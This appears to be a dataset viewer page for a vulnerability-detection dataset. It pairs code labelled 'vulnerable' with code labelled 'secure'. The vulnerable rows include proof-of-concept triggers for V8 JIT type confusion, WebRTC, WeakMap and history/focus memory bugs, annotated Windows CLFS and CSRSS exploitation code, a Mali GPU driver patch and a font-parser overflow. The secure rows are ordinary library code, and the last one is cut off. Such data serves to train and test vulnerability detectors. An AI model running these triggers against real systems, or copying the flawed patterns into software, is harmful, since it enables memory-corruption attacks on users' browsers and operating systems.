Datasets:

maxdunhill
/

detectingvulnerablecode

+text (string),label (class label)
+"function foo(bug) {
+  function C(z) {
+    Error.prepareStackTrace = function(t, B) {
+      return B[z].getThis();
+    };
+    let p = Error().stack;
+    Error.prepareStackTrace = null;
+    return p;
+  }
+  function J() {}
+  var optim = false;
+  var opt = new Function(
+      'a', 'b', 'c',
+      'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
+          'g++;'.repeat(70));
+  var e = null;
+  J.prototype.d = new Function(
+      'a', 'b', '""use strict"";b.a.call(arguments,b);return arguments[a];');
+  J.prototype.a = new Function('a', 'a.b(0,a)');
+  J.prototype.b = new Function(
+      'a', 'b',
+      'b.c();if(a){' +
+          'g++;'.repeat(70) + '}');
+  J.prototype.c = function() {
+    if (optim) {
+      var z = C(3);
+      var p = C(3);
+      z[0] = 0;
+      e = {M: z, C: p};
+    }
+  };
+  var a = new J();
+  // jit optim
+  if (bug) {
+    for (var V = 0; 1E4 > V; V++) {
+      opt(0 == V % 4 ? 1 : 4, a, 1);
+    }
+  }
+  optim = true;
+  opt(1, a, 1);
+  return e;
+}
+e1 = foo(false);
+console.log(e1.M === e1.C); // prints true.
+e2 = foo(true);
+console.log(e2.M === e2.C); // should be true as above but prints false.",0 (vulnerable)
+"<html>
+<head>
+<script>
+var canvas = document.createElement('canvas');
+function createConnection() {
+        var pc = new RTCPeerConnection({
+                        iceServers: [],
+                        iceTransportPolicy: 'relay'
+        });
+        var encodings = [];
+        for (var i = 0; i < 2; i++) {
+                encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
+        }
+        pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
+        return pc;
+}
+function sdp_munge(offer) {
+        let sdp = offer.sdp;
+        sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
+        offer.sdp = sdp;
+        return offer;
+}
+async function trigger(pc) {
+        var pc = createConnection(); // create an WebRTC connection with
+        var offer = await pc.createOffer(); // create an offer
+        var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
+        await pc.setLocalDescription(munged_offer); // set the local description with the sdp
+}
+trigger();
+</script>
+</head>
+</html>",0 (vulnerable)
+"__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
+{
+...
+                v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
+                v9 = v11;
+                v16 = v11;
+                if ( v11 >= 0 )
+                {
+                pContainer = *((_QWORD *)containerContext + 3);
+                if ( pContainer )
+                {
+                        *((_QWORD *)containerContext + 3) = 0i64;
+                        ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
+                        v4 = 0;
+                        (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
+                        (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
+                        v9 = v16;
+                        goto LABEL_20;
+                }
+                goto LABEL_19;
+                }
+...
+} v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
+if ( v44 == -1 )
+{
+        *((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
+        v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
+        v72 = v20;
+        if ( v20 < 0 )
+                goto LABEL_134;
+        v23 = v78;
+        v34 = (unsigned int)(v34 + 1);
+        v79 = v34;
+} ...
+// Obtain all container contexts represented in blf
+// save pContainer class pointer for each valid container context
+for ( i = 0; i < 0x400; ++i )
+{
+v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
+v15 = (char *)this + 8 * i;
+if ( v20 >= 0 )
+{
+        v16 = v22;
+        *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
+        *((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
+        CClfsBaseFile::ReleaseContainerContext(this, &v22);
+}
+else
+{
+        *((_QWORD *)v15 + 56) = 0i64;
+}
+}
+// Stage [1] enode block, prepare it for writing
+ClfsEncodeBlock(
+(struct _CLFS_LOG_BLOCK_HEADER *)v9,
+*(unsigned __int16 *)(v9 + 4) << 9,
+*(_BYTE *)(v9 + 2),
+0x10u,
+1u);
+// write modified data
+v10 = CClfsContainer::WriteSector(
+                *((CClfsContainer **)this + 19),
+                *((struct _KEVENT **)this + 20),
+                0i64,
+                *(void **)(*((_QWORD *)this + 6) + 24 * v8),
+                *(unsigned __int16 *)(v9 + 4),
+                &v23);
+...
+if ( v7 )
+{
+// Stage [2] Decode file again for futher processing in clfs.sys
+ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
+// optain new pContainer class pointer
+v17 = (_QWORD *)((char *)this + 448);
+do
+{
+        // Stage [3] for each valid container
+        // update pContainer field
+        if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
+        {
+        *((_QWORD *)v22 + 3) = *v17;
+        CClfsBaseFile::ReleaseContainerContext(this, &v22);
+        }
+        ++v6;
+        ++v17;
+}
+while ( v6 < 0x400 );
+}
+...",0 (vulnerable)
+"static struct kbase_va_region *kbase_mem_from_user_buffer(
+                struct kbase_context *kctx, unsigned long address,
+                unsigned long size, u64 *va_pages, u64 *flags)
+ {
+[...]
++       int write;
+[...]
++       write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
++
+ #if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
+        faulted_pages = get_user_pages(current, current->mm, address, *va_pages,
+ #if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
+ KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
+-                       reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
+-                       pages, NULL);
++                       write ? FOLL_WRITE : 0, pages, NULL);
+ #else
+-                       reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
++                       write, 0, pages, NULL);
+ #endif
+ #elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
+        faulted_pages = get_user_pages(address, *va_pages,
+-                       reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
++                       write, 0, pages, NULL);
+ #else
+        faulted_pages = get_user_pages(address, *va_pages,
+-                       reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
+-                       pages, NULL);
++                       write ? FOLL_WRITE : 0, pages, NULL);
+ #endif",0 (vulnerable)
+"input = document.body.appendChild(document.createElement(""input""));
+foo = document.body.appendChild(document.createElement(""a""));
+foo.id = ""foo"";
+// Go to state1 when history.back is called
+// The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back()
+// Since the foo's element id=""foo"", focus will change to that element
+history.pushState(""state1"", """", location + ""#foo"");
+// Current state = state2
+history.pushState(""state2"", """");
+setTimeout(() => {
+        // Set the focus on the input element.
+        // During the call to back() the focus will change to the foo element
+        // and therefore triggering the blur event on the input element
+        input.focus();
+        input.onblur = () => history.replaceState(""state3"", """");
+        setTimeout(() => history.back(), 1000);
+}, 1000);",0 (vulnerable)
+"var initKey = {init : 1};
+var level = 4;
+var map1 = new WeakMap();
+function hideWeakMap(map, level, initKey) {
+  let prevMap = map;
+  let prevKey = initKey;
+  for (let i = 0; i < level; i++) {
+    let thisMap = new WeakMap();
+    prevMap.set(prevKey, thisMap);
+    let thisKey = {'h' : i};
+    thisMap.set(prevKey, thisKey);
+    prevMap = thisMap;
+    prevKey = thisKey;
+    if (i == level - 1) {
+      let retMap = new WeakMap();
+      map.set(thisKey, retMap);
+      return thisKey;
+    }
+  }
+}
+function getHiddenKey(map, level, initKey) {
+  let prevMap = map;
+  let prevKey = initKey;
+  for (let i = 0; i < level; i++) {
+    let thisMap = prevMap.get(prevKey);
+    let thisKey = thisMap.get(prevKey);
+    prevMap = thisMap;
+    prevKey = thisKey;
+    if (i == level - 1) {
+      return thisKey;
+    }
+  }
+}
+function setUpWeakMap(map) {
+  let hk = hideWeakMap(map, level, initKey);
+  let hiddenMap = map.get(hk);
+  let map7 = new WeakMap();
+  let map8 = new WeakMap();
+  let k5 = {k5 : 1};
+  let map5 = new WeakMap();
+  let k7 = {k7 : 1};
+  let k9 = {k9 : 1};
+  let k8 = {k8 : 1};
+  let v9 = {};
+  map.set(k7, map7);
+  map.set(k9, v9);
+  hiddenMap.set(k5, map5);
+  hiddenMap.set(hk, k5);
+  map5.set(hk, k7);
+  map7.set(k8, map8);
+  map7.set(k7, k8);
+  map8.set(k8,k9);
+}
+function main() {
+    setUpWeakMap(map1);
+    new ArrayBuffer(0x7fe00000);
+    let hiddenKey = getHiddenKey(map1, level, initKey);
+    let hiddenMap = map1.get(hiddenKey);
+    let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
+    let k8 = map1.get(k7).get(k7);
+    let map8 = map1.get(k7).get(k8);
+    console.log(map1.get(map8.get(k8)));
+}
+while (true) {
+  try {
+    main();
+  } catch (err) {}
+}",0 (vulnerable)
+"function store(y) {
+  x = y;
+}
+function load() {
+  return x.b;
+}
+var x = {a : 1};
+var x1 = {a : 2};
+var x2 = {a : 3};
+var x3 = {a : 4};
+store(x1);
+%PrepareFunctionForOptimization(store);
+store(x2);
+x1.b = 1;
+%OptimizeFunctionOnNextCall(store);
+store(x2);
+x.b = 1;
+%PrepareFunctionForOptimization(load);
+load();
+%OptimizeFunctionOnNextCall(load);
+load();
+store(x3);
+%DebugPrint(load());",0 (vulnerable)
+"global_object = {};
+setPropertyViaEmbed = (object, value, handler) => {
+  const embed = document.createElement('embed');
+  embed.onload = handler;
+  embed.type = 'text/html';
+  Object.setPrototypeOf(global_object, embed);
+  document.body.appendChild(embed);
+  object.corrupted_prop = value;
+  embed.remove();
+}
+createCorruptedPair = (value_1, value_2) => {
+  const object_1 = {
+    __proto__: global_object
+  };
+  object_1.regular_prop = 1;
+  setPropertyViaEmbed(object_1, value_2, () => {
+    Object.setPrototypeOf(global_object, null);
+    object_1.corrupted_prop = value_1;
+  });
+  const object_2 = {
+    __proto__: global_object
+  };
+  object_2.regular_prop = 1;
+  setPropertyViaEmbed(object_2, value_2, () => {
+    Object.setPrototypeOf(global_object, null);
+    object_2.corrupted_prop = value_1;
+    object_1.regular_prop = 1.1
+  });
+  return [object_1, object_2];
+}
+const array = [1.1];
+array.prop = 1;
+const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);
+jit = (object) => {
+  return object.corrupted_prop[0];
+}
+for (var i = 0; i < 100000; ++i)
+  jit(object_1);
+jit(object_2);",0 (vulnerable)
+"int SetBlendDesignPositions(void *arg) {
+  int num_master;
+  Fixed16_16 values[16][15];
+  for (num_master = 0; ; num_master++) {
+    if (GetToken() != TOKEN_OPEN) {
+      break;
+    }
+    int values_read = GetOpenFixedArray(&values[num_master], 15);
+    SetNumAxes(values_read);
+  }
+  SetNumMasters(num_master);
+  for (int i = 0; i < num_master; i++) {
+    procs->BlendDesignPositions(i, &values[i]);
+  }
+  return 0;
+}",0 (vulnerable)
+"#include <stdint.h>
+#include <stdio.h>
+#include <windows.h>
+#include <string>
+const char* MANIFEST_CONTENTS =
+    ""<?xml version='1.0' encoding='UTF-8' standalone='yes'?>""
+    ""<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>""
+    ""<assemblyIdentity name='@' version='1.0.0.0' type='win32' ""
+    ""processorArchitecture='amd64'/>""
+    ""</assembly>"";
+const WCHAR* NULL_BYTE_STR = L""\x00\x00"";
+const WCHAR* MANIFEST_NAME =
+  L""msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_""
+  L""d761caeca23d64a2.manifest"";
+const WCHAR* PATH = L""\\\\.\\c:Windows\\"";
+const WCHAR* MODULE = L""System.Data.SqlXml.Resources"";
+typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
+                                                     ULONG BufferSize);
+f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;
+typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
+                                                   PVOID CaptureBuffer,
+                                                   ULONG ApiNumber,
+                                                   ULONG DataLength);
+f_CsrClientCallServer CsrClientCallServer;
+typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
+                                                       PCSTR String,
+                                                       ULONG Length,
+                                                       ULONG MaximumLength,
+                                                       PSTR OutputString);
+f_CsrCaptureMessageString CsrCaptureMessageString;
+NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
+                              PCWSTR String, ULONG Length = 0) {
+  if (Length == 0) {
+    Length = lstrlenW(String);
+  }
+  return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
+                                 Length * 2 + 2, OutputString);
+}
+int main() {
+  HMODULE Ntdll = LoadLibrary(L""Ntdll.dll"");
+  CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
+      Ntdll, ""CsrAllocateCaptureBuffer"");
+  CsrClientCallServer =
+      (f_CsrClientCallServer)GetProcAddress(Ntdll, ""CsrClientCallServer"");
+  CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
+      Ntdll, ""CsrCaptureMessageString"");
+  char Message[0x220];
+  memset(Message, 0, 0x220);
+  PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);
+  std::string Manifest = MANIFEST_CONTENTS;
+  Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');
+  // There's no public definition of the relevant CSR_API_MSG structure.
+  // The offsets and values are taken directly from the exploit.
+  *(uint32_t*)(Message + 0x40) = 0xc1;
+  *(uint16_t*)(Message + 0x44) = 9;
+  *(uint16_t*)(Message + 0x59) = 0x201;
+  // CSRSS loads the manifest contents from the client process memory;
+  // therefore, it doesn't have to be stored in the capture buffer.
+  *(const char**)(Message + 0x80) = Manifest.c_str();
+  *(uint64_t*)(Message + 0x88) = Manifest.size();
+  *(uint64_t*)(Message + 0xf0) = 1;
+  CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
+  CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
+  CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
+  CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);
+  // Triggers the issue by setting ApplicationName.MaxLength to a large value.
+  *(uint16_t*)(Message + 0x122) = 0x8000;
+  CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
+}",0 (vulnerable)
+"#include ""gtest/internal/gtest-filepath.h""
+#include <stdlib.h>
+#include ""gtest/gtest-message.h""
+#include ""gtest/internal/gtest-port.h""
+#if GTEST_OS_WINDOWS_MOBILE
+#include <windows.h>
+#elif GTEST_OS_WINDOWS
+#include <direct.h>
+#include <io.h>
+#else
+#include <limits.h>
+#include <climits>  // Some Linux distributions define PATH_MAX here.
+#endif              // GTEST_OS_WINDOWS_MOBILE
+#include ""gtest/internal/gtest-string.h""
+#if GTEST_OS_WINDOWS
+#define GTEST_PATH_MAX_ _MAX_PATH
+#elif defined(PATH_MAX)
+#define GTEST_PATH_MAX_ PATH_MAX
+#elif defined(_XOPEN_PATH_MAX)
+#define GTEST_PATH_MAX_ _XOPEN_PATH_MAX
+#else
+#define GTEST_PATH_MAX_ _POSIX_PATH_MAX
+#endif  // GTEST_OS_WINDOWS
+namespace testing {
+namespace internal {
+#if GTEST_OS_WINDOWS
+// On Windows, '\\' is the standard path separator, but many tools and the
+// Windows API also accept '/' as an alternate path separator. Unless otherwise
+// noted, a file path can contain either kind of path separators, or a mixture
+// of them.
+const char kPathSeparator = '\\';
+const char kAlternatePathSeparator = '/';
+const char kAlternatePathSeparatorString[] = ""/"";
+#if GTEST_OS_WINDOWS_MOBILE
+// Windows CE doesn't have a current directory. You should not use
+// the current directory in tests on Windows CE, but this at least
+// provides a reasonable fallback.
+const char kCurrentDirectoryString[] = ""\\"";
+// Windows CE doesn't define INVALID_FILE_ATTRIBUTES
+const DWORD kInvalidFileAttributes = 0xffffffff;
+#else
+const char kCurrentDirectoryString[] = "".\\"";
+#endif  // GTEST_OS_WINDOWS_MOBILE
+#else
+const char kPathSeparator = '/';
+const char kCurrentDirectoryString[] = ""./"";
+#endif  // GTEST_OS_WINDOWS
+// Returns whether the given character is a valid path separator.
+static bool IsPathSeparator(char c) {
+#if GTEST_HAS_ALT_PATH_SEP_
+  return (c == kPathSeparator) || (c == kAlternatePathSeparator);
+#else
+  return c == kPathSeparator;
+#endif
+}
+// Returns the current working directory, or """" if unsuccessful.
+FilePath FilePath::GetCurrentDir() {
+#if GTEST_OS_WINDOWS_MOBILE || GTEST_OS_WINDOWS_PHONE ||         \
+    GTEST_OS_WINDOWS_RT || GTEST_OS_ESP8266 || GTEST_OS_ESP32 || \
+    GTEST_OS_XTENSA || GTEST_OS_QURT
+  // These platforms do not have a current directory, so we just return
+  // something reasonable.
+  return FilePath(kCurrentDirectoryString);
+#elif GTEST_OS_WINDOWS
+  char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
+  return FilePath(_getcwd(cwd, sizeof(cwd)) == nullptr ? """" : cwd);
+#else
+  char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
+  char* result = getcwd(cwd, sizeof(cwd));
+#if GTEST_OS_NACL
+  // getcwd will likely fail in NaCl due to the sandbox, so return something
+  // reasonable. The user may have provided a shim implementation for getcwd,
+  // however, so fallback only when failure is detected.
+  return FilePath(result == nullptr ? kCurrentDirectoryString : cwd);
+#endif  // GTEST_OS_NACL
+  return FilePath(result == nullptr ? """" : cwd);
+#endif  // GTEST_OS_WINDOWS_MOBILE
+}",1 (secure)
+"#pragma once
+#include <Core/Types.h>
+#include <Common/Exception.h>
+#include <Common/intExp.h>
+#include <base/arithmeticOverflow.h>
+#include <limits>
+#include <type_traits>
+namespace DB
+{
+template <typename T>
+class DataTypeNumber;
+namespace ErrorCodes
+{
+    extern const int DECIMAL_OVERFLOW;
+    extern const int ARGUMENT_OUT_OF_BOUND;
+}
+namespace DecimalUtils
+{
+inline constexpr size_t min_precision = 1;
+template <typename T> inline constexpr size_t max_precision = 0;
+template <> inline constexpr size_t max_precision<Decimal32> = 9;
+template <> inline constexpr size_t max_precision<Decimal64> = 18;
+template <> inline constexpr size_t max_precision<DateTime64> = 18;
+template <> inline constexpr size_t max_precision<Decimal128> = 38;
+template <> inline constexpr size_t max_precision<Decimal256> = 76;
+template <typename T>
+inline auto scaleMultiplier(UInt32 scale)
+{
+    if constexpr (std::is_same_v<T, Int32> || std::is_same_v<T, Decimal32>)
+        return common::exp10_i32(scale);
+    else if constexpr (std::is_same_v<T, Int64> || std::is_same_v<T, Decimal64> || std::is_same_v<T, DateTime64>)
+        return common::exp10_i64(scale);
+    else if constexpr (std::is_same_v<T, Int128> || std::is_same_v<T, Decimal128>)
+        return common::exp10_i128(scale);
+    else if constexpr (std::is_same_v<T, Int256> || std::is_same_v<T, Decimal256>)
+        return common::exp10_i256(scale);
+}
+/** Components of DecimalX value:
+ * whole - represents whole part of decimal, can be negative or positive.
+ * fractional - for fractional part of decimal, always positive.
+ */
+template <typename DecimalType>
+struct DecimalComponents
+{
+    using T = typename DecimalType::NativeType;
+    T whole;
+    T fractional;
+};
+/// Traits used for determining final Type/Precision/Scale for certain math operations on decimals.
+template <typename T>
+struct DataTypeDecimalTrait
+{
+    using FieldType = T;
+    const UInt32 precision;
+    const UInt32 scale;
+    DataTypeDecimalTrait(UInt32 precision_, UInt32 scale_)
+        : precision(precision_),
+          scale(scale_)
+    {}
+    /// @returns multiplier for U to become T with correct scale
+    template <typename U>
+    T scaleFactorFor(const DataTypeDecimalTrait<U> & x, bool) const
+    {
+        if (scale < x.scale)
+            throw Exception(""Decimal result's scale is less than argument's one"", ErrorCodes::ARGUMENT_OUT_OF_BOUND);
+        const UInt32 scale_delta = scale - x.scale; /// scale_delta >= 0
+        return DecimalUtils::scaleMultiplier<typename T::NativeType>(scale_delta);
+    }
+};
+",1 (secure)
+"#include <SFML/System/Err.hpp>
+#include <SFML/Window/SensorManager.hpp>
+#include <ostream>
+namespace sf
+{
+namespace priv
+{
+////////////////////////////////////////////////////////////
+SensorManager& SensorManager::getInstance()
+{
+    static SensorManager instance;
+    return instance;
+}
+////////////////////////////////////////////////////////////
+bool SensorManager::isAvailable(Sensor::Type sensor)
+{
+    return m_sensors[sensor].available;
+}
+////////////////////////////////////////////////////////////
+void SensorManager::setEnabled(Sensor::Type sensor, bool enabled)
+{
+    if (m_sensors[sensor].available)
+    {
+        m_sensors[sensor].enabled = enabled;
+        m_sensors[sensor].sensor.setEnabled(enabled);
+    }
+    else
+    {
+        err() << ""Warning: trying to enable a sensor that is not available (call Sensor::isAvailable to check it)""
+              << std::endl;
+    }
+}
+////////////////////////////////////////////////////////////
+bool SensorManager::isEnabled(Sensor::Type sensor) const
+{
+    return m_sensors[sensor].enabled;
+}
+////////////////////////////////////////////////////////////
+Vector3f SensorManager::getValue(Sensor::Type sensor) const
+{
+    return m_sensors[sensor].value;
+}
+////////////////////////////////////////////////////////////
+void SensorManager::update()
+{
+    for (Item& item : m_sensors)
+    {
+        // Only process available sensors
+        if (item.available)
+            item.value = item.sensor.update();
+    }
+}
+////////////////////////////////////////////////////////////
+SensorManager::SensorManager()
+{
+    // Global sensor initialization
+    SensorImpl::initialize();
+    // Per sensor initialization
+    for (int i = 0; i < Sensor::Count; ++i)
+    {
+        // Check which sensors are available
+        m_sensors[i].available = SensorImpl::isAvailable(static_cast<Sensor::Type>(i));
+        // Open the available sensors
+        if (m_sensors[i].available)
+        {
+            if (m_sensors[i].sensor.open(static_cast<Sensor::Type>(i)))
+            {
+                m_sensors[i].sensor.setEnabled(false);
+            }
+            else
+            {
+                m_sensors[i].available = false;
+                err() << ""Warning: sensor "" << i << "" failed to open, will not be available"" << std::endl;
+            }
+        }
+    }
+}
+////////////////////////////////////////////////////////////
+SensorManager::~SensorManager()
+{
+    // Per sensor cleanup
+    for (Item& item : m_sensors)
+    {
+        if (item.available)
+            item.sensor.close();
+    }
+    // Global sensor cleanup
+    SensorImpl::cleanup();",1 (secure)
+"#pragma once
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#ifdef _WIN32
+#include <winsock.h>
+#else
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netdb.h>
+#include <arpa/inet.h>
+#endif
+#include <vector>
+#include <iostream>
+#include <fstream>
+#include <time.h>
+#define STD_PORT       9777
+#define MS_ABSOLUTE    0x01
+//#define MS_RELATIVE    0x02
+#define BTN_USE_NAME   0x01
+#define BTN_DOWN       0x02
+#define BTN_UP         0x04
+#define BTN_USE_AMOUNT 0x08
+#define BTN_QUEUE      0x10
+#define BTN_NO_REPEAT  0x20
+#define BTN_VKEY       0x40
+#define BTN_AXIS       0x80
+#define PT_HELO         0x01
+#define PT_BYE          0x02
+#define PT_BUTTON       0x03
+#define PT_MOUSE        0x04
+#define PT_PING         0x05
+#define PT_BROADCAST    0x06
+#define PT_NOTIFICATION 0x07
+#define PT_BLOB         0x08
+#define PT_LOG          0x09
+#define PT_ACTION       0x0A
+#define PT_DEBUG        0xFF
+#define ICON_NONE       0x00
+#define ICON_JPEG       0x01
+#define ICON_PNG        0x02
+#define ICON_GIF        0x03
+#define MAX_PACKET_SIZE  1024
+#define HEADER_SIZE      32
+#define MAX_PAYLOAD_SIZE (MAX_PACKET_SIZE - HEADER_SIZE)
+#define MAJOR_VERSION 2
+#define MINOR_VERSION 0
+#define LOGDEBUG   0
+#define LOGINFO    1
+#define LOGNOTICE  2
+#define LOGWARNING 3
+#define LOGERROR   4
+#define LOGSEVERE  5
+#define LOGFATAL   6
+#define LOGNONE    7
+#define ACTION_EXECBUILTIN 0x01
+#define ACTION_BUTTON      0x02
+class CAddress
+{
+private:
+  struct sockaddr_in m_Addr;
+public:
+  CAddress(int Port = STD_PORT)
+  {
+    m_Addr.sin_family = AF_INET;
+    m_Addr.sin_port = htons(Port);
+    m_Addr.sin_addr.s_addr = INADDR_ANY;
+    memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
+  }
+  CAddress(const char *Address, int Port = STD_PORT)
+  {
+    m_Addr.sin_port = htons(Port);
+    struct hostent *h;
+    if (Address == NULL || (h=gethostbyname(Address)) == NULL)
+    {
+        if (Address != NULL)
+			printf(""Error: Get host by name\n"");
+        m_Addr.sin_addr.s_addr  = INADDR_ANY;
+        m_Addr.sin_family       = AF_INET;
+    }
+    else
+    {
+      m_Addr.sin_family = h->h_addrtype;
+      m_Addr.sin_addr = *((struct in_addr *)h->h_addr);
+    }
+    memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
+  }
+  void SetPort(int port)
+  {
+    m_Addr.sin_port = htons(port);
+  }
+  const sockaddr *GetAddress()
+  {
+    return ((struct sockaddr *)&m_Addr);
+  }
+  bool Bind(int Sockfd)
+  {
+    return (bind(Sockfd, (struct sockaddr *)&m_Addr, sizeof m_Addr) == 0);
+  }
+};
+class XBMCClientUtils
+{
+public:
+  XBMCClientUtils() = default;
+  ~XBMCClientUtils() = default;
+  static unsigned int GetUniqueIdentifier()
+  {
+    static time_t id = time(NULL);
+    return id;
+  }
+  static void Clean()
+  {
+  #ifdef _WIN32
+    WSACleanup();
+  #endif
+  }
+  static bool Initialize()
+  {
+  #ifdef _WIN32
+    WSADATA wsaData;
+    if (WSAStartup(MAKEWORD(1, 1), &wsaData))
+      return false;
+  #endif
+    return true;
+  }
+};
+class CPacket",1 (secure)
+"#ifndef BOOST_BEAST_WEBSOCKET_OPTION_HPP
+#define BOOST_BEAST_WEBSOCKET_OPTION_HPP
+#include <boost/beast/core/detail/config.hpp>
+namespace boost {
+namespace beast {
+namespace websocket {
+/** permessage-deflate extension options.
+    These settings control the permessage-deflate extension,
+    which allows messages to be compressed.
+    @note Objects of this type are used with
+          @ref beast::websocket::stream::set_option.
+*/
+struct permessage_deflate
+{
+    /// `true` to offer the extension in the server role
+    bool server_enable = false;
+    /// `true` to offer the extension in the client role
+    bool client_enable = false;
+    /** Maximum server window bits to offer
+        @note Due to a bug in ZLib, this value must be greater than 8.
+    */
+    int server_max_window_bits = 15;
+    /** Maximum client window bits to offer
+        @note Due to a bug in ZLib, this value must be greater than 8.
+    */
+    int client_max_window_bits = 15;
+    /// `true` if server_no_context_takeover desired
+    bool server_no_context_takeover = false;
+    /// `true` if client_no_context_takeover desired
+    bool client_no_context_takeover = false;
+    /// Deflate compression level 0..9
+    int compLevel = 8;
+    /// Deflate memory level, 1..9
+    int memLevel = 4;
+    /// The minimum size a message should have to be compressed
+    std::size_t msg_size_threshold = 0;
+};
+} // websocket
+} // beast
+} // boost
+#endif",1 (secure)
+"#include <cstdlib>
+#include <iostream>
+#include <sstream>
+using namespace std;
+void build_code(int max_args)
+{
+    stringstream ss;
+    ss << ""#define NLOHMANN_JSON_EXPAND( x ) x"" << endl;
+    ss << ""#define NLOHMANN_JSON_GET_MACRO("";
+    for (int i = 0 ; i < max_args ; i++)
+        ss << ""_"" << i + 1 << "", "";
+    ss << ""NAME,...) NAME"" << endl;
+    ss << ""#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\"" << endl;
+    for (int i = max_args ; i > 1 ; i--)
+        ss << ""NLOHMANN_JSON_PASTE"" << i << "", \\"" << endl;
+    ss << ""NLOHMANN_JSON_PASTE1)(__VA_ARGS__))"" << endl;
+    ss << ""#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)"" << endl;
+    for (int i = 3 ; i <= max_args ; i++)
+    {
+        ss << ""#define NLOHMANN_JSON_PASTE"" << i << ""(func, "";
+        for (int j = 1 ; j < i -1 ; j++)
+            ss << ""v"" << j << "", "";
+        ss << ""v"" << i-1 << "") NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE"" << i-1 << ""(func, "";
+        for (int j = 2 ; j < i-1 ; j++)
+            ss << ""v"" << j << "", "";
+        ss << ""v"" << i-1 << "")"" << endl;
+    }
+    cout << ss.str() << endl;
+}
+int main(int argc, char** argv)
+{
+    int max_args = 64;
+    build_code(max_args);
+    return 0;
+}",1 (secure)
+"#ifndef RAPIDJSON_FILEWRITESTREAM_H_
+#define RAPIDJSON_FILEWRITESTREAM_H_
+#include ""stream.h""
+#include <cstdio>
+#ifdef __clang__
+RAPIDJSON_DIAG_PUSH
+RAPIDJSON_DIAG_OFF(unreachable-code)
+#endif
+RAPIDJSON_NAMESPACE_BEGIN
+//! Wrapper of C file stream for output using fwrite().
+/*!
+    \note implements Stream concept
+*/
+class FileWriteStream {
+public:
+    typedef char Ch;    //!< Character type. Only support char.
+    FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) {
+        RAPIDJSON_ASSERT(fp_ != 0);
+    }
+    void Put(char c) {
+        if (current_ >= bufferEnd_)
+            Flush();
+        *current_++ = c;
+    }
+    void PutN(char c, size_t n) {
+        size_t avail = static_cast<size_t>(bufferEnd_ - current_);
+        while (n > avail) {
+            std::memset(current_, c, avail);
+            current_ += avail;
+            Flush();
+            n -= avail;
+            avail = static_cast<size_t>(bufferEnd_ - current_);
+        }
+        if (n > 0) {
+            std::memset(current_, c, n);
+            current_ += n;
+        }
+    }
+    void Flush() {
